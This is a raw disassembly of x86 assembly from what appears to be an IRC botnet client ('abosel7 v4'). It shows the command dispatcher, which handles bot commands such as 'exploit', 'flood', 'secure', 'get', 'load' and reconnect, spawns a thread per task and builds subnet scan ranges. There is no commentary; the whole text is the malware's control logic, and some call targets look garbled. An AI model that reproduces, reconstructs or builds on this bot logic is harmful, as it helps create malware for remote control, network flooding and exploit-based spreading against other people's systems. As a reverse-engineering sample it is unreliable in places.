		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_403F9D:				; CODE XREF: sub_401ACD+5781j
		cmp	[ebp+var_8], ebx
		jnz	short loc_403FBE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_403FB6:				; CODE XREF: sub_401ACD+6DA8j
		call	sub_409869
		add	esp, 14h


loc_403FBE:				; CODE XREF: sub_401ACD+24D3j
					; sub_401ACD+26B0j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		jmp	loc_4097D1
; ---------------------------------------------------------------------------


loc_403FCF:				; CODE XREF: sub_401ACD+1876j
					; sub_401ACD+188Bj
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A5C5
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_403FE8:				; CODE XREF: sub_401ACD+184Cj
					; sub_401ACD+1861j
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416FCF
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_404005:				; CODE XREF: sub_401ACD+1822j
					; sub_401ACD+1837j
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 26B0735h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40402E
		push	esi
		call	sub_41C159
		pop	ecx
		mov	edi, eax


loc_40402E:				; CODE XREF: sub_401ACD+2556j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_404047
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409644


loc_404047:				; CODE XREF: sub_401ACD+256Fj
		push	ebx
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF4C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38


loc_404085:				; CODE XREF: sub_401ACD+51BCj
		add	esp, 24h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40408D:				; CODE XREF: sub_401ACD+17F8j
					; sub_401ACD+180Dj
		push	27h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_4040BE
		cmp	[ebp+var_8], ebx
		jnz	loc_401F75
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BF2C


loc_4040AB:				; CODE XREF: sub_401ACD+4F88j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		jmp	loc_408C05
; ---------------------------------------------------------------------------


loc_4040BE:				; CODE XREF: sub_401ACD+25CAj
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		mov	[ebp+var_B40], ebx
		jz	short loc_40411F
		push	esi
		push	offset aFull	; "full"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40411F
		mov	[ebp+var_B40], 1


loc_40411F:				; CODE XREF: sub_401ACD+2635j
					; sub_401ACD+2646j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BF08
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset sub_419E38
		push	ebx
		push	ebx
		call	near ptr 26A0060h
		nop
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40418D


loc_404177:				; CODE XREF: sub_401ACD+26BEj
		cmp	[ebp+var_B34], ebx
		jnz	loc_403FBE
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_404177
; ---------------------------------------------------------------------------


loc_40418D:				; CODE XREF: sub_401ACD+26A8j
		nop
		call	near ptr 26A096Ch
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BECC
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_403FBE
; ---------------------------------------------------------------------------


loc_4041AD:				; CODE XREF: sub_401ACD+17CEj
					; sub_401ACD+17E3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4041CC
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BEB4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4041CC:				; CODE XREF: sub_401ACD+26E3j
		push	[ebp+arg_4]
		call	dword_4CBA6C
		call	dword_4CB92C
		call	sub_4188A6
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_4041E7:				; CODE XREF: sub_401ACD+17A4j
					; sub_401ACD+17B9j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AF8F
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BE9C
		jmp	short loc_40423F
; ---------------------------------------------------------------------------


loc_404212:				; CODE XREF: sub_401ACD+177Aj
					; sub_401ACD+178Fj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B243
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BE84


loc_40423F:				; CODE XREF: sub_401ACD+2489j
					; sub_401ACD+2743j
		call	sub_415D38
		add	esp, 18h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40424C:				; CODE XREF: sub_401ACD+1750j
					; sub_401ACD+1765j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415DD8


loc_404260:				; CODE XREF: sub_401ACD+3C8j
					; sub_401ACD+2516j ...
		add	esp, 10h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_404268:				; CODE XREF: sub_401ACD+1726j
					; sub_401ACD+173Bj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1598],	bl
		jz	short loc_4042A7
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042A7
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042A7
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1598]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 10h


loc_4042A7:				; CODE XREF: sub_401ACD+27A4j
					; sub_401ACD+27AFj ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1618]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_161C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1514],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1510],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BE6C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_1518],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_161C]
		push	ebx
		push	eax
		push	offset byte_415E4B
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_1518]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40434A


loc_404334:				; CODE XREF: sub_401ACD+287Bj
		cmp	[ebp+var_150C],	ebx
		jnz	loc_401F75
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_404334
; ---------------------------------------------------------------------------


loc_40434A:				; CODE XREF: sub_401ACD+2865j
		call	near ptr 26A096Ch
		nop
		push	eax
		push	offset unk_42BE34
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_40435B:				; CODE XREF: sub_401ACD+16FCj
					; sub_401ACD+1711j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415CC0
		push	offset unk_42BE1C
		call	sub_415D38


loc_404376:				; CODE XREF: sub_401ACD+23F9j
		add	esp, 10h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40437E:				; CODE XREF: sub_401ACD+16D2j
					; sub_401ACD+16E7j
		push	[ebp+var_88]
		lea	eax, [ebp+var_C5C]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_C60], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_BD4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_BD0], eax
		jz	short loc_4043D8
		push	offset dword_42BE18
		push	esi
		call	sub_41CA50
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_BD8], eax
		jmp	short loc_4043DE
; ---------------------------------------------------------------------------


loc_4043D8:				; CODE XREF: sub_401ACD+28EFj
		mov	[ebp+var_BD8], ebx


loc_4043DE:				; CODE XREF: sub_401ACD+2909j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BDF8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_BDC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C60]
		push	ebx
		push	eax
		push	offset byte_40B425
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_BDC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40444C


loc_404436:				; CODE XREF: sub_401ACD+297Dj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_406C1F
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_404436
; ---------------------------------------------------------------------------


loc_40444C:				; CODE XREF: sub_401ACD+2967j
		call	near ptr 26A096Ch
		nop
		push	eax
		push	offset unk_42BDBC
		jmp	loc_409091
; ---------------------------------------------------------------------------


loc_40445D:				; CODE XREF: sub_401ACD+1656j
					; sub_401ACD+166Bj
		push	offset aSaadfgh	; "saadfgh"
		push	offset unk_42BDA4


loc_404467:				; CODE XREF: sub_401ACD+29D9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		jmp	loc_406C1F
; ---------------------------------------------------------------------------


loc_404494:				; CODE XREF: sub_401ACD+162Cj
					; sub_401ACD+1641j
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	offset unk_42BD78
		jmp	short loc_404467
; ---------------------------------------------------------------------------


loc_4044A8:				; CODE XREF: sub_401ACD+1602j
					; sub_401ACD+1617j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4044DA
		cmp	[ebp+var_C], ebx
		jz	short loc_4044E9
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4044E9
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		jmp	short loc_4044E9
; ---------------------------------------------------------------------------


loc_4044DA:				; CODE XREF: sub_401ACD+29E4j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		pop	ecx


loc_4044E9:				; CODE XREF: sub_401ACD+29E9j
					; sub_401ACD+29F8j ...
		push	0FFFFFFFEh
		jmp	loc_401F77
; ---------------------------------------------------------------------------


loc_4044F0:				; CODE XREF: sub_401ACD+15D8j
					; sub_401ACD+15EDj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset unk_42BD28
		call	sub_415D38
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_404512:				; CODE XREF: sub_401ACD+15AEj
					; sub_401ACD+15C3j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset unk_42BCF8
		call	sub_415D38
		add	esp, 0Ch
		jmp	loc_4095AD
; ---------------------------------------------------------------------------


loc_404531:				; CODE XREF: sub_401ACD+1584j
					; sub_401ACD+1599j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA9E
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404547:				; CODE XREF: sub_401ACD+155Aj
					; sub_401ACD+156Fj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA49
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_40455D:				; CODE XREF: sub_401ACD+1530j
					; sub_401ACD+1545j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B9DD
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404573:				; CODE XREF: sub_401ACD+1506j
					; sub_401ACD+151Bj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B90E
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404589:				; CODE XREF: sub_401ACD+1461j
					; sub_401ACD+1476j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42BCE8
		push	offset dword_42BCD8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4045A1:				; CODE XREF: sub_401ACD+1437j
					; sub_401ACD+144Cj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42BCCC
		push	offset dword_42BCBC
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4045B9:				; CODE XREF: sub_401ACD+1050j
					; sub_401ACD+1065j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_4045D8
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_4045D8
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_4045DD
; ---------------------------------------------------------------------------


loc_4045D8:				; CODE XREF: sub_401ACD+2AF5j
					; sub_401ACD+2B00j
		mov	eax, dword_429074


loc_4045DD:				; CODE XREF: sub_401ACD+2B09j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404602
		push	esi


loc_4045EF:				; CODE XREF: sub_401ACD+2B44j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_404619
; ---------------------------------------------------------------------------


loc_404602:				; CODE XREF: sub_401ACD+2B1Fj
		cmp	[ebp+var_8FF], bl
		jz	short loc_404613
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_4045EF
; ---------------------------------------------------------------------------


loc_404613:				; CODE XREF: sub_401ACD+2B3Bj
		mov	[ebp+var_5A0], bl


loc_404619:				; CODE XREF: sub_401ACD+2B33j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41C360
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BC94
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset word_411BCE
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4046CA


loc_4046B4:				; CODE XREF: sub_401ACD+2BFBj
		cmp	[ebp+var_57C], ebx
		jnz	loc_401F75
		push	32h
		call	near ptr 26A0000h
		nop
		jmp	short loc_4046B4
; ---------------------------------------------------------------------------


loc_4046CA:				; CODE XREF: sub_401ACD+2BE5j
		nop
		call	near ptr 26A096Ch
		push	eax
		push	offset dword_42BC58
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_4046DB:				; CODE XREF: sub_401ACD+FFDj
					; sub_401ACD+1012j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4046FB
		push	esi
		call	sub_41C159
		test	ax, ax
		pop	ecx
		jz	short loc_4046FB
		push	esi
		call	sub_41C159
		pop	ecx
		jmp	short loc_404701
; ---------------------------------------------------------------------------


loc_4046FB:				; CODE XREF: sub_401ACD+2C17j
					; sub_401ACD+2C23j
		mov	ax, word_429084


loc_404701:				; CODE XREF: sub_401ACD+2C2Cj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41C360
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BC2C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409869
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B3BA
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset dword_40EF1C
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4047D0


loc_4047BA:				; CODE XREF: sub_401ACD+2D01j
		cmp	[ebp+var_968], ebx
		jnz	loc_401F75
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_4047BA
; ---------------------------------------------------------------------------


loc_4047D0:				; CODE XREF: sub_401ACD+2CEBj
		nop
		call	near ptr 26A096Ch
		push	eax
		push	offset unk_42BBEC
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_4047E1:				; CODE XREF: sub_401ACD+FA9j
					; sub_401ACD+FBEj ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404809
		push	edi
		push	offset aSec	; "sec"
		call	sub_41CA50
		pop	ecx
		mov	[ebp+var_AA8], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404813


loc_404809:				; CODE XREF: sub_401ACD+2D23j
		mov	[ebp+var_AA8], 1


loc_404813:				; CODE XREF: sub_401ACD+2D3Aj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_AA8], ebx
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_AA0], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40485A
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40485A:				; CODE XREF: sub_401ACD+2D86j
		push	eax
		push	offset dword_42BBB8
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_41A366
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4048CE


loc_4048B8:				; CODE XREF: sub_401ACD+2DFFj
		cmp	[ebp+var_A9C], ebx
		jnz	loc_4082DE
		push	32h
		call	near ptr 26A0000h
		nop
		jmp	short loc_4048B8
; ---------------------------------------------------------------------------


loc_4048CE:				; CODE XREF: sub_401ACD+2DE9j
		call	near ptr 26A096Ch
		nop
		push	eax
		push	offset dword_42BB7C
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_4048DF:				; CODE XREF: sub_401ACD+F7Fj
					; sub_401ACD+F94j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41ABFB


loc_4048F0:				; CODE XREF: sub_401ACD+2A75j
					; sub_401ACD+2A8Bj ...
		add	esp, 0Ch
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_4048F8:				; CODE XREF: sub_401ACD+F55j
					; sub_401ACD+F6Aj
		push	offset unk_42BB2C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_404902:				; CODE XREF: sub_401ACD+F2Bj
					; sub_401ACD+F40j
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42BB1C
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_404911:				; CODE XREF: sub_401ACD+F01j
					; sub_401ACD+F16j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_404971
		push	esi
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		jl	short loc_404966
		cmp	eax, 3
		jge	short loc_404966
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40495B
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CD50
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_40495B:				; CODE XREF: sub_401ACD+2E6Dj
		push	eax
		push	offset unk_42BAF0
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404966:				; CODE XREF: sub_401ACD+2E58j
					; sub_401ACD+2E5Dj
		push	eax
		push	offset unk_42BAC4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404971:				; CODE XREF: sub_401ACD+2E4Dj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_404976:				; CODE XREF: sub_401ACD+2EC5j
		push	[ebp+var_90]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404999
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_404976
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_404999:				; CODE XREF: sub_401ACD+2EB9j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CD50
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_4049B3:				; CODE XREF: sub_401ACD+ED7j
					; sub_401ACD+EECj
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403446
		call	sub_40B583
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_4049D9:				; CODE XREF: sub_401ACD+19B1j
		push	offset aGet	; "get"
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404A67
		cmp	dword_4CF180, ebx
		jz	short loc_404A01
		push	offset dword_4CEB60


loc_4049F7:				; CODE XREF: sub_401ACD+2F98j
		push	offset unk_42BA88
		jmp	loc_404A97
; ---------------------------------------------------------------------------


loc_404A01:				; CODE XREF: sub_401ACD+2F23j
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		call	near ptr 71AB157Eh
		nop
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E24]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_E24]
		push	eax
		jmp	short loc_4049F7
; ---------------------------------------------------------------------------


loc_404A67:				; CODE XREF: sub_401ACD+2F1Bj
		push	edi
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_404A7B
		push	offset unk_42BA48
		jmp	short loc_404A97
; ---------------------------------------------------------------------------


loc_404A7B:				; CODE XREF: sub_401ACD+2FA5j
		push	offset dword_4CEB60
		call	sub_41C890
		pop	ecx
		mov	dword_4CF180, 1
		pop	ecx
		push	edi
		push	offset unk_42BA1C


loc_404A97:				; CODE XREF: sub_401ACD+2F2Fj
					; sub_401ACD+2FACj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_40349D
; ---------------------------------------------------------------------------


loc_404AAB:				; CODE XREF: sub_401ACD+199Cj
		push	[ebp+arg_8]
		push	offset aExploit	; "exploit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BB1
		mov	eax, [ebp+var_4]
		mov	esi, 80h
		mov	[ebp+var_13E8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F8],	eax
		push	offset aF	; "#f"
		lea	eax, [ebp+var_1478]
		push	esi
		push	eax
		mov	[ebp+var_13F0],	1
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_14F8]
		push	offset aF	; "#f"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_1508]
		push	edi
		push	10h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_1508]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B9E4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_13EC],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1508]
		push	ebx
		push	eax
		push	offset byte_40BB65
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_13EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_404BA0


loc_404B8A:				; CODE XREF: sub_401ACD+30D1j
		cmp	[ebp+var_13E0],	ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_404B8A
; ---------------------------------------------------------------------------


loc_404BA0:				; CODE XREF: sub_401ACD+30BBj
		nop
		call	near ptr 26A096Ch
		push	eax
		push	offset unk_42B9A4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404BB1:				; CODE XREF: sub_401ACD+2FEFj
		push	[ebp+arg_8]
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095B4
		push	[ebp+arg_8]
		push	offset aRin	; "rin"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095B4
		push	[ebp+arg_8]
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409570
		push	[ebp+arg_8]
		push	offset aRinms	; "rinms"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409570
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057B7
		nop
		call	near ptr 26B0735h
		push	eax
		call	sub_41C2B8
		push	edi
		push	offset aLoad	; "load"
		call	sub_41CA50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CB7
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CB7
